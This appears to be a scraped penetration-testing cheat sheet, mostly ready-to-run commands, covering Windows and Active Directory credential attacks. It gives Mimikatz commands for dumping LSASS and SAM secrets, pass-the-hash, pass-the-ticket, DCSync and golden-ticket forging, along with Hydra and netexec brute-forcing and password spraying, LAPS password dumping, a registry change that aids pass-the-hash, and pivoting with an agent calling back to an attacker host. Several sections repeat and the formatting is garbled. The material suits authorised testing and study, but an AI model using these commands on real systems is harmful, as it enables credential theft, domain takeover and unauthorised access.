Contains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more.
Domain Users (NTDS)
File Path:%SystemRoot%\ntds.dit
Location: Found only on Domain Controllers.
Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
Sync: Replicates to all DCs (except Read-Only DCs).
Credential Manager (The Vault)
Role: Stores saved passwords for RDP, Websites, and Network Shares.
# Give JtR and hashcat --format codehashid -jm '<HASH>'# Create wordlist from website# e.g. make all words lowercase, spider down the website X, and choose only word certain legth Y or morecewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>
Username Generation
# GOOGLE DORK: Find emails and user name schemesite:<DOMAIN> "@<DOMAIN>"# Generate different common permutations of usernamesgit clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy -i <USERNAMES>
# Manually generate keywords or use cewl via OSINTcat << EOF > keywords.txt
<KEYWORDS>
EOF# c - Capitalize the first character, lowercase the rest# C - Lowercase the first character, uppercase the rest# t - Toggle the case of all characters in a word# $! - Appends the character ! to the end # $1$9$9$8 - Appends '1998' to the end# $1$9$9$8$! - Appends '1998!' to the end# sa@ - Replace all instances of a with @# so0 - Replace all instances of o with 0# ss$ - Replace all instances of s with $cat << EOF > custom.rule
c
C
t \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF# Generate permutated wordlisthashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt
# Crack hashhashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt
# John attempts to guess the hash type, but specifiying the FORMAT is recommendedjohn --list=formats
# john --format=NT# john --format=raw-md5# john --format=sha512cryptjohn --format=<FORMAT> --wordlist=<WORDLIST> <HASH_FILE>
# Single crack mode: makes permutations given a usernameunshadow passwd.txt shadow.txt > unshadowed.txt
john --single <UNSHADOW_FILE>
# Dynamically generated wordlist using Markov chainsjohn --incremental <HASH_FILE>
Deep Crack. Good for standard “complex” user passwords.
dive.rule
~100,000+
Paranoid. extremely slow; last resort for dictionary attacks.
# Crack an MD5crypt hash with a salt using Hashcathashcat -m 20 <HASH>:<SALT> <WORDLIST>
# Crack a SHA512crypt hash using Hashcathashcat -m 1800 hashes.txt <WORDLIST>
# 64 standard password modifications like: appending nums or substituting characters with their "leet" equivalents hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>
Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.
Important Notes
Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
Administrator Required: Mimikatz typically needs administrator privileges to function
LSASS Access: Many operations read from LSASS memory, which is protected by Windows
Detection: Mimikatz is heavily flagged by security products and EDR solutions
Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
Ticket Files: Exported Kerberos tickets use .kirbi format
Domain Syntax: Use “.” for domain when targeting local machine accounts
Basic Usage & Privilege Escalation
# Launch Mimikatz (via SMB share)\\tsclient\share\mimikatz.exe
# Enable debug privilege (required for most operations)privilege::debug
# Elevate token to SYSTEMtoken::elevate
# Write to console in bae64 (avoid AV flagging)base64 /out:true
Credential Dumping
LSASS Memory (sekurlsa)
Dump All Credentials:
# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)sekurlsa::logonpasswords
Dump Specific Hash Types:
# Dumps only LM/NTLM hashessekurlsa::msv
Export Kerberos Tickets:
# Avoid AV flaggingbase64 /out:true
# Export Kerberos Tickets (TGT/TGS) to disksekurlsa::tickets /export
# $ : machine tickets (computers)# @ : service tickets (users)
Extract AES Keys:
# Extract AES Keys for Pass the Key attacks.\mimikatz.exe "privilege::debug""sekurlsa::ekeys" exit
SAM Database
# Dumps local SAM database (local user hashes)lsadump::sam
Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.
# Use "." for domain if targeting local machine# IMPORTANT: Run commands inside the NEW window that pops upmimikatz.exe "privilege::debug""sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.# Can use /ntlm, /aes128, or /aes256sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe
Pass the Ticket (PtT)
Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.
Export Tickets:
# Export tickets from memory to .kirbi files.\mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit
Inject Ticket:
# Inject ticket into current session.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>""misc::cmd" exit
Golden Ticket Attack
A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.
Step 1: Get KRBTGT Hash & SID
Method A (On DC):
lsadump::lsa /inject /name:krbtgt
Method B (Remote DCSync):
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
Step 2: Create & Inject Ticket
# /ptt immediately injects it into memory. /id:500 makes you fake-admin.kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM> /id:500 /ptt
Step 3: Launch Shell
# Launch shell (Optional, or just use current shell if /ptt was used)misc::cmd
Credential Manager
Dump credentials stored in Windows Credential Manager:
# Enable Registry Key to PtH for non-RID-500 local adminsreg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Mimikatz (Interactive)
# Use "." for domain if targeting local machine# IMPORTANT: Run commands inside the NEW window that pops upmimikatz.exe "privilege::debug""sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit
psexec creates a remote service by uploading a randomly-named executable to the ADMIN$ share on the target host. It then registers the service via RPC and the Windows Service Control Manager. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM on the victim host.
wmiexec utilizes a semi-interactive shell where commands are executed through Windows Management Instrumentation. It does not drop any files or executables on the target host and generates fewer logs than other modules. After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). Note that this shell environment is not fully interactive, so each command issued will execute a new cmd.exe from WMI and execute your command. The downside of this is that if a vigilant defender checks event logs and looks at event ID 4688: A new process has been created.
If using BloodHound check for ReadLAPSPassword in graph.
# Enumerate who can read LAPSnxc smb <DC_IP> -u <USER> -p <PASS> --laps
# Dump the passwords (if able)nxc smb <TARGET> -u <USER> -p <PASS> --laps
---
# OUT OF DATE# https://github.com/leoloobeek/LAPSToolkitwget https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1
Import-Module LAPSToolkit.ps1
# Scans OUs for groups "LAPS Admins" that can read LAPS passwords on all computers in the OUFind-LAPSDelegatedGroups
# Scans Computer Objects for who has "All Extended Rights" and read passwordsFind-AdmPwdExtendedRights
# Enum computers with LAPS extension and attempts password dumpGet-LAPSComputers
# ATTACKER => REDIR => TARGET# NOTE: add "-L 0.0.0.0" to make the local port accessible from other machines next to ATTACKER (like a Windows box)portfwd add -l <ATTACKER_PORT> -r <TARGET_IP> -p <TARGET_PORT>
# Edit ProxyChains Config# NOTE: disable strict_chain to for robustnessls -la /etc/proxychains*.conf
[ProxyList]dynamic_chain
#strict_chainsocks5 127.0.0.1 1080# For Chiselsocks4 127.0.0.1 9050# For an SSH -D proxy
via SSH
# Step 1: create proxy via SSHssh -D 9050 <USER>@<TARGET>
# Step 1: Run MSF SOCKS proxyuse auxiliary/server/socks_proxy
set SRVPORT 9050set SRVHOST 0.0.0.0
set version 4a
#set version 5run -j
jobs
# Step 2a: in MSFuse post/multi/manage/autoroute
set SESSION <SESSION>
set SUBNET <TARGET_SUBNET>
run -j
jobs
route print
# OR Step 2b: in MSF sessionrun autoroute -s <TARGET_SUBNET>
run autoroute -p
Sshuttle
“Transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin… Supports DNS tunneling.”
# ATTACKERsudo ./proxy -selfcert
# CLIENT./agent -connect <ATTACKER_IP>:11601 -ignore-cert
# ATTACKER: ligolo sessionsession 1start
# Back in Kali terminalsudo ip route add <SUBNET_TARGET> dev ligolo
These modules live inside LSASS to handle specific tasks.
DLL Name
Function / Description
Lsasrv.dll
The Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM).
Msv1_0.dll
Local / NTLM. Handles non-domain logins and legacy NTLM authentication.
Kerberos.dll
Domain. Handles Kerberos ticket requests and validation.
Samsrv.dll
SAM Interface. Talks to the local SAM database.
Netlogon.dll
Network. Handles the secure channel for network logons.
Ntdsa.dll
AD Interface. Used to create/manage records in the Registry or AD.
3. Credential Storage Locations
Local Users (SAM)
File Path:%SystemRoot%\system32\config\SAM
Registry Mount:HKLM\SAM
Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
Content: Local user NTLM/LM hashes.
Registry Hive
Description
HKLM\SAM
Contains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords.
HKLM\SYSTEM
Stores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes.
HKLM\SECURITY
Contains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more.
Domain Users (NTDS)
File Path:%SystemRoot%\ntds.dit
Location: Found only on Domain Controllers.
Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
Sync: Replicates to all DCs (except Read-Only DCs).
Credential Manager (The Vault)
Role: Stores saved passwords for RDP, Websites, and Network Shares.
Hashcat is a fast password recovery tool that supports multiple attack modes and hash types. It’s the world’s fastest and most advanced password recovery utility.
Hydra is a parallelized login cracker that supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.
Core Flags
-f : Stop immediately when a credential is found
-V : Verbose (Check if service is responding)-t <N> : Number of parallel tasks (threads)-l <USER> : Single username
-L <USER_LIST> : Username list file
-p <PASSWORD> : Single password
-P <WORDLIST> : Password wordlist file
-o <OUTPUT> : Output file
F=FailureString specifies the failure response text to detect failed logins
# Web Login brute-force (ONLINE - use small wordlist to avoid lockouts)hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -VF -o hydra_web_login.txt
# Generic web formhydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid password" -V -f
WordPress Specific
# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist)hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt
# Alternative WordPress syntaxhydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f
Password Spraying
Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.
# SSH password spraying (1 password vs many users)hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>
# Web form password sprayinghydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
Important Notes
Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
Thread Count: Use -t 4 for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like -t 16.
Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
Output: Always use -o <OUTPUT_FILE> to save results for later analysis.
Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.
Important Notes
Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
Administrator Required: Mimikatz typically needs administrator privileges to function
LSASS Access: Many operations read from LSASS memory, which is protected by Windows
Detection: Mimikatz is heavily flagged by security products and EDR solutions
Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
Ticket Files: Exported Kerberos tickets use .kirbi format
Domain Syntax: Use “.” for domain when targeting local machine accounts
Basic Usage & Privilege Escalation
# Launch Mimikatz (via SMB share)\\tsclient\share\mimikatz.exe
# Enable debug privilege (required for most operations)privilege::debug
# Elevate token to SYSTEMtoken::elevate
# Write to console in bae64 (avoid AV flagging)base64 /out:true
Credential Dumping
LSASS Memory (sekurlsa)
Dump All Credentials:
# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)sekurlsa::logonpasswords
Dump Specific Hash Types:
# Dumps only LM/NTLM hashessekurlsa::msv
Export Kerberos Tickets:
# Avoid AV flaggingbase64 /out:true
# Export Kerberos Tickets (TGT/TGS) to disksekurlsa::tickets /export
# $ : machine tickets (computers)# @ : service tickets (users)
Extract AES Keys:
# Extract AES Keys for Pass the Key attacks.\mimikatz.exe "privilege::debug""sekurlsa::ekeys" exit
SAM Database
# Dumps local SAM database (local user hashes)lsadump::sam
Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.
# Use "." for domain if targeting local machine# IMPORTANT: Run commands inside the NEW window that pops upmimikatz.exe "privilege::debug""sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.# Can use /ntlm, /aes128, or /aes256sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe
Pass the Ticket (PtT)
Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.
Export Tickets:
# Export tickets from memory to .kirbi files.\mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit
Inject Ticket:
# Inject ticket into current session.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>""misc::cmd" exit
Golden Ticket Attack
A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.
Step 1: Get KRBTGT Hash & SID
Method A (On DC):
lsadump::lsa /inject /name:krbtgt
Method B (Remote DCSync):
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
Step 2: Create & Inject Ticket
# /ptt immediately injects it into memory. /id:500 makes you fake-admin.kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM> /id:500 /ptt
Step 3: Launch Shell
# Launch shell (Optional, or just use current shell if /ptt was used)misc::cmd
Credential Manager
Dump credentials stored in Windows Credential Manager:
Netexec (formerly CrackMapExec) is a swiss army knife for pentesting networks. It’s a network exploitation tool that helps automate assessing the security of large networks by providing tactics and techniques for testing security controls in an Active Directory environment.
# List available sharesnetexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares
Password Spraying
Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.
# Check netexec -h for services# Password spraying (many users vs 1 password)netexec smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'# Local authentication (tries local authentication instead of domain authentication)# Mitigated with: https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overviewnetexec smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'
Pass the Hash (PtH)
Netexec supports pass-the-hash attacks for lateral movement:
# Target can also be a subnet (CIDR)# -d . = Local Account | -d <DOMAIN> = Domain Account# --local-auth forces local check if implied domain fails# :<PASS_HASH> implies empty LM hash (LM:NT)netexec smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth
# Domain account with hashnetexec smb <TARGET> -u <USER> -d <DOMAIN> -H <PASS_HASH>
